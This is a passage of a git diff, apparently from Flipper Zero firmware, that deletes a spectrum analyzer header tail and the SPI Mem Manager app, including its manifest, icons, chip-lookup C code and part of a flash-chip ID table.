spectrum_analyzer_worker_free(SpectrumAnalyzerWorker* instance); - -void spectrum_analyzer_worker_set_callback( - SpectrumAnalyzerWorker* instance, - SpectrumAnalyzerWorkerCallback callback, - void* context); - -void spectrum_analyzer_worker_set_filter(SpectrumAnalyzerWorker* instance); - -void spectrum_analyzer_worker_set_frequencies( - SpectrumAnalyzerWorker* instance, - uint32_t channel0_frequency, - uint32_t spacing, - uint8_t width); - -void spectrum_analyzer_worker_set_modulation(SpectrumAnalyzerWorker* instance, uint8_t modulation); - -void spectrum_analyzer_worker_start(SpectrumAnalyzerWorker* instance); - -void spectrum_analyzer_worker_stop(SpectrumAnalyzerWorker* instance); diff --git a/applications/external/spi_mem_manager/application.fam b/applications/external/spi_mem_manager/application.fam deleted file mode 100644 index c1b10bfee..000000000 --- a/applications/external/spi_mem_manager/application.fam +++ /dev/null @@ -1,17 +0,0 @@ -App( - appid="spi_mem_manager", - name="SPI Mem Manager", - apptype=FlipperAppType.EXTERNAL, - entry_point="spi_mem_app", - requires=["gui"], - stack_size=1 * 2048, - order=30, - fap_icon="images/Dip8_10px.png", - fap_category="GPIO", - fap_icon_assets="images", - fap_private_libs=[ - Lib( - name="spi", - ), - ], -) diff --git a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png deleted file mode 100644 index 4ff2e3042..000000000 Binary files a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png deleted file mode 100644 index 8893a4881..000000000 Binary files a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png deleted file mode 100644 index 1342dc7bf..000000000 Binary files a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate deleted file mode 100644 index d8263ee98..000000000 --- a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate +++ /dev/null @@ -1 +0,0 @@ -2 \ No newline at end of file diff --git a/applications/external/spi_mem_manager/images/Dip8_10px.png b/applications/external/spi_mem_manager/images/Dip8_10px.png deleted file mode 100644 index 9de9364d1..000000000 Binary files a/applications/external/spi_mem_manager/images/Dip8_10px.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/Dip8_32x36.png b/applications/external/spi_mem_manager/images/Dip8_32x36.png deleted file mode 100644 index 8f01af276..000000000 Binary files a/applications/external/spi_mem_manager/images/Dip8_32x36.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/DolphinMafia_115x62.png b/applications/external/spi_mem_manager/images/DolphinMafia_115x62.png deleted file mode 100644 index 66fdb40ff..000000000 Binary files a/applications/external/spi_mem_manager/images/DolphinMafia_115x62.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/DolphinNice_96x59.png b/applications/external/spi_mem_manager/images/DolphinNice_96x59.png deleted file mode 100644 index a299d3630..000000000 Binary files a/applications/external/spi_mem_manager/images/DolphinNice_96x59.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/SDQuestion_35x43.png b/applications/external/spi_mem_manager/images/SDQuestion_35x43.png deleted file mode 100644 index 9b9c9a58e..000000000 Binary files a/applications/external/spi_mem_manager/images/SDQuestion_35x43.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png b/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png deleted file mode 100644 index e6c3ce363..000000000 Binary files a/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c deleted file mode 100644 index f7f98dce2..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c +++ /dev/null @@ -1,105 +0,0 @@ -#include "spi_mem_chip_i.h" - -const SPIMemChipVendorName spi_mem_chip_vendor_names[] = { - {"Adesto", SPIMemChipVendorADESTO}, - {"AMIC", SPIMemChipVendorAMIC}, - {"Boya", SPIMemChipVendorBoya}, - {"EON", SPIMemChipVendorEON}, - {"PFlash", SPIMemChipVendorPFLASH}, - {"Terra", SPIMemChipVendorTERRA}, - {"Generalplus", SPIMemChipVendorGeneralplus}, - {"Deutron", SPIMemChipVendorDEUTRON}, - {"EFST", SPIMemChipVendorEFST}, - {"Excel Semi.", SPIMemChipVendorEXCELSEMI}, - {"Fidelix", SPIMemChipVendorFIDELIX}, - {"GigaDevice", SPIMemChipVendorGIGADEVICE}, - {"ICE", SPIMemChipVendorICE}, - {"Intel", SPIMemChipVendorINTEL}, - {"KHIC", SPIMemChipVendorKHIC}, - {"Macronix", SPIMemChipVendorMACRONIX}, - {"Micron", SPIMemChipVendorMICRON}, - {"Mshine", SPIMemChipVendorMSHINE}, - {"Nantronics", SPIMemChipVendorNANTRONICS}, - {"Nexflash", SPIMemChipVendorNEXFLASH}, - {"Numonyx", SPIMemChipVendorNUMONYX}, - {"PCT", SPIMemChipVendorPCT}, - {"Spansion", SPIMemChipVendorSPANSION}, - {"SST", SPIMemChipVendorSST}, - {"ST", SPIMemChipVendorST}, - {"Winbond", SPIMemChipVendorWINBOND}, - {"Zempro", SPIMemChipVendorZEMPRO}, - {"Zbit", SPIMemChipVendorZbit}, - {"Berg Micro.", SPIMemChipVendorBerg_Micro}, - {"Atmel", SPIMemChipVendorATMEL}, - {"ACE", SPIMemChipVendorACE}, - {"ATO", SPIMemChipVendorATO}, - {"Douqi", SPIMemChipVendorDOUQI}, - {"Fremont", SPIMemChipVendorFremont}, - {"Fudan", SPIMemChipVendorFudan}, - {"Genitop", SPIMemChipVendorGenitop}, - {"Paragon", SPIMemChipVendorParagon}, - {"Unknown", SPIMemChipVendorUnknown}}; - -static const char* spi_mem_chip_search_vendor_name(SPIMemChipVendor vendor_enum) { - const SPIMemChipVendorName* vendor = spi_mem_chip_vendor_names; - while(vendor->vendor_enum != SPIMemChipVendorUnknown && vendor->vendor_enum != vendor_enum) - vendor++; - return vendor->vendor_name; -} - -bool spi_mem_chip_find_all(SPIMemChip* chip_info, found_chips_t found_chips) { - const SPIMemChip* chip_info_arr; - found_chips_reset(found_chips); - for(chip_info_arr = SPIMemChips; chip_info_arr->model_name != NULL; chip_info_arr++) { - if(chip_info->vendor_id != chip_info_arr->vendor_id) continue; - if(chip_info->type_id != chip_info_arr->type_id) continue; - if(chip_info->capacity_id != chip_info_arr->capacity_id) continue; - found_chips_push_back(found_chips, chip_info_arr); - } - if(found_chips_size(found_chips)) return true; - return false; -} - -void spi_mem_chip_copy_chip_info(SPIMemChip* dest, const SPIMemChip* src) { - memcpy(dest, src, sizeof(SPIMemChip)); -} - -size_t spi_mem_chip_get_size(SPIMemChip* chip) { - return (chip->size); -} - -const char* spi_mem_chip_get_vendor_name(const SPIMemChip* chip) { - return (spi_mem_chip_search_vendor_name(chip->vendor_enum)); -} - -const char* spi_mem_chip_get_vendor_name_by_enum(uint32_t vendor_enum) { - return (spi_mem_chip_search_vendor_name(vendor_enum)); -} - -const char* spi_mem_chip_get_model_name(const SPIMemChip* chip) { - return (chip->model_name); -} - -uint8_t spi_mem_chip_get_vendor_id(SPIMemChip* chip) { - return (chip->vendor_id); -} - -uint8_t spi_mem_chip_get_type_id(SPIMemChip* chip) { - return (chip->type_id); -} - -uint8_t spi_mem_chip_get_capacity_id(SPIMemChip* chip) { - return (chip->capacity_id); -} - -SPIMemChipWriteMode spi_mem_chip_get_write_mode(SPIMemChip* chip) { - return (chip->write_mode); -} - -size_t spi_mem_chip_get_page_size(SPIMemChip* chip) { - return (chip->page_size); -} - -uint32_t spi_mem_chip_get_vendor_enum(const SPIMemChip* chip) { - return ((uint32_t)chip->vendor_enum); -} diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h deleted file mode 100644 index 683937df4..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once - -#include -#include - -typedef struct SPIMemChip SPIMemChip; - -ARRAY_DEF(found_chips, const SPIMemChip*, M_POD_OPLIST) - -typedef enum { - SPIMemChipStatusBusy, - SPIMemChipStatusIdle, - SPIMemChipStatusError -} SPIMemChipStatus; - -typedef enum { - SPIMemChipWriteModeUnknown = 0, - SPIMemChipWriteModePage = (0x01 << 0), - SPIMemChipWriteModeAAIByte = (0x01 << 1), - SPIMemChipWriteModeAAIWord = (0x01 << 2), -} SPIMemChipWriteMode; - -const char* spi_mem_chip_get_vendor_name(const SPIMemChip* chip); -const char* spi_mem_chip_get_model_name(const SPIMemChip* chip); -size_t spi_mem_chip_get_size(SPIMemChip* chip); -uint8_t spi_mem_chip_get_vendor_id(SPIMemChip* chip); -uint8_t spi_mem_chip_get_type_id(SPIMemChip* chip); -uint8_t spi_mem_chip_get_capacity_id(SPIMemChip* chip); -SPIMemChipWriteMode spi_mem_chip_get_write_mode(SPIMemChip* chip); -size_t spi_mem_chip_get_page_size(SPIMemChip* chip); -bool spi_mem_chip_find_all(SPIMemChip* chip_info, found_chips_t found_chips); -void spi_mem_chip_copy_chip_info(SPIMemChip* dest, const SPIMemChip* src); -uint32_t spi_mem_chip_get_vendor_enum(const SPIMemChip* chip); -const char* spi_mem_chip_get_vendor_name_by_enum(uint32_t vendor_enum); diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c deleted file mode 100644 index 25b237d68..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c +++ /dev/null @@ -1,1399 +0,0 @@ -#include "spi_mem_chip_i.h" -const SPIMemChip SPIMemChips[] = { - {0x1F, 0x40, 0x00, "AT25DN256", 32768, 256, SPIMemChipVendorADESTO, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x20, "A25L05PT", 65536, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x10, "A25L05PU", 65536, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x21, "A25L10PT", 131072, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x11, "A25L10PU", 131072, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x22, "A25L20PT", 262144, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x12, "A25L20PU", 262144, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x23, "A25L40PT", 524288, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x13, "A25L40PU", 524288, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x24, "A25L80PT", 1048576, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x14, "A25L80PU", 1048576, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x25, "A25L16PT", 2097152, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x15, "A25L16PU", 2097152, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x10, "A25L512", 65536, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x11, "A25L010", 131072, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x12, "A25L020", 262144, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x13, "A25L040", 524288, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x14, "A25L080", 1048576, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x15, "A25L016", 2097152, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x16, "A25L032", 4194304, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x40, 0x15, "A25LQ16", 2097152, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x40, 0x16, "A25LQ32A", 4194304, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x68, 0x40, 0x14, "BY25D80", 1048576, 256, SPIMemChipVendorBoya, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x10, "EN25B05", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x10, "EN25B05T", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x11, "EN25B10", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x11, "EN25B10T", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x12, "EN25B20", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x12, "EN25B20T", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x13, "EN25B40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x13, "EN25B40T", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x14, "EN25B80", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x14, "EN25B80T", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x15, "EN25B16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x15, "EN25B16T", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x16, "EN25B32", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x16, "EN25B32T", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x17, "EN25B64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x17, "EN25B64T", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x10, "EN25F05", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x11, "EN25F10", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x12, "EN25F20", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x13, "EN25F40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x14, "EN25F80", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x15, "EN25F16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x16, "EN25F32", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x10, "EN25LF05", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x11, "EN25LF10", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x12, "EN25LF20", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x13, "EN25LF40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x10, "EN25P05", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x11, "EN25P10", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x12, "EN25P20", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x13, "EN25P40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x14, "EN25P80", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x15, "EN25P16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x16, "EN25P32", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x17, "EN25P64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x13, "EN25Q40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x14, "EN25Q80A", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x15, "EN25Q16A", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x16, "EN25Q32A", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x16, "EN25Q32A", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x16, "EN25Q32B", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x17, "EN25Q64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x18, "EN25Q128", 16777216, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x15, "EN25QH16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x16, "EN25QH32", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x17, "EN25QH64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x18, "EN25QH128", 16777216, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x19, "EN25QH256", 33554432, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x51, 0x14, "EN25T80", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x51, 0x15, "EN25T16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x17, "EN25F64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x7C, "Pm25LV010", 131072, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x21, "Pm25LD010", 131072, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x22, "Pm25LV020", 262144, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x7D, "Pm25W020", 262144, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x7E, "Pm25LV040", 524288, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x10, "TS25L512A", 65536, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x11, "TS25L010A", 131072, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x12, "TS25L020A", 262144, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "TS25L16AP", 2097152, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "TS25L16BP", 2097152, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "ZP25L16P", 2097152, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x15, "TS25L16PE", 2097152, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x14, "TS25L80PE", 1048576, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x16, "TS25L032A", 4194304, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x13, "TS25L40P", 524288, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x10, - "GPR25L005E", - 65536, - 256, - SPIMemChipVendorGeneralplus, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x15, - "GPR25L161B", - 262144, - 256, - SPIMemChipVendorGeneralplus, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x12, - "GPR25L020B", - 262144, - 256, - SPIMemChipVendorGeneralplus, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "GPR25L3203F", - 4194304, - 256, - SPIMemChipVendorGeneralplus, - SPIMemChipWriteModePage}, - {0x9D, 0x7B, 0x00, "AC25LV512", 65536, 256, SPIMemChipVendorDEUTRON, SPIMemChipWriteModePage}, - {0x9D, 0x7C, 0x00, "AC25LV010", 131072, 256, SPIMemChipVendorDEUTRON, SPIMemChipWriteModePage}, - {0x9D, 0x7B, 0x00, "EM25LV512", 65536, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x9D, 0x7C, 0x00, "EM25LV010", 131072, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x13, "F25L004A", 524288, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x14, "F25L008A", 1048576, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x15, "F25L016A", 2097152, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x8C, 0x8C, "F25L04UA", 524288, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x13, "F25L04P", 524288, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x30, 0x13, "F25S04P", 524288, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x14, "F25L08P", 1048576, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x15, "F25L16P", 2097152, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x16, "F25L32P", 4194304, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x40, 0x16, "F25L32Q", 4194304, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x11, "ES25P10", 131072, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x12, "ES25P20", 262144, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x13, "ES25P40", 524288, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x14, "ES25P80", 1048576, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x15, "ES25P16", 2097152, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x16, "ES25P32", 4194304, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x32, 0x13, "ES25M40A", 524288, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x32, 0x14, "ES25M80A", 1048576, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x32, 0x15, "ES25M16A", 2097152, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x14, "FM25Q08A", 1048576, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x15, "FM25Q16A", 2097152, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x15, "FM25Q16B", 2097152, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x16, "FM25Q32A", 4194304, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x17, "FM25Q64A", 8388608, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xC8, 0x30, 0x13, "GD25D40", 524288, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x30, 0x14, "GD25D80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x20, 0x13, "GD25F40", 524288, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x20, 0x14, "GD25F80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x10, "GD25Q512", 65536, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x11, "GD25Q10", 131072, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x12, "GD25Q20", 262144, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x60, - 0x12, - "GD25LQ20C_1.8V", - 262144, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x13, "GD25Q40", 524288, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x14, "GD25Q80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x14, - "GD25Q80B", - 1048576, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x14, - "GD25Q80C", - 1048576, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x15, "GD25Q16", 2097152, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x15, - "GD25Q16B", - 2097152, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x16, "GD25Q32", 4194304, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x16, - "GD25Q32B", - 4194304, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x17, "GD25Q64", 8388608, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x17, - "GD25Q64B", - 8388608, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x17, - "GD25B64C", - 8388608, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x18, - "GD25Q128B", - 16777216, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x18, - "GD25Q128C", - 16777216, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x60, - 0x17, - "GD25LQ064C_1.8V", - 8388608, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x60, - 0x18, - "GD25LQ128C_1.8V", - 16777216, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x60, - 0x19, - "GD25LQ256C_1.8V", - 33554432, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x31, 0x14, "MD25T80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x51, 0x40, 0x12, "MD25D20", 262144, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x51, 0x40, 0x13, "MD25D40", 524288, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x51, 0x40, 0x14, "MD25D80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x51, 0x40, 0x15, "MD25D16", 2097152, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x10, "ICE25P05", 65536, 128, SPIMemChipVendorICE, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x11, "QB25F016S33B", 2097152, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x11, "QB25F160S33B", 2097152, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x12, "QB25F320S33B", 4194304, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x13, "QB25F640S33B", 8388608, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x11, "QH25F016S33B", 2097152, 256, 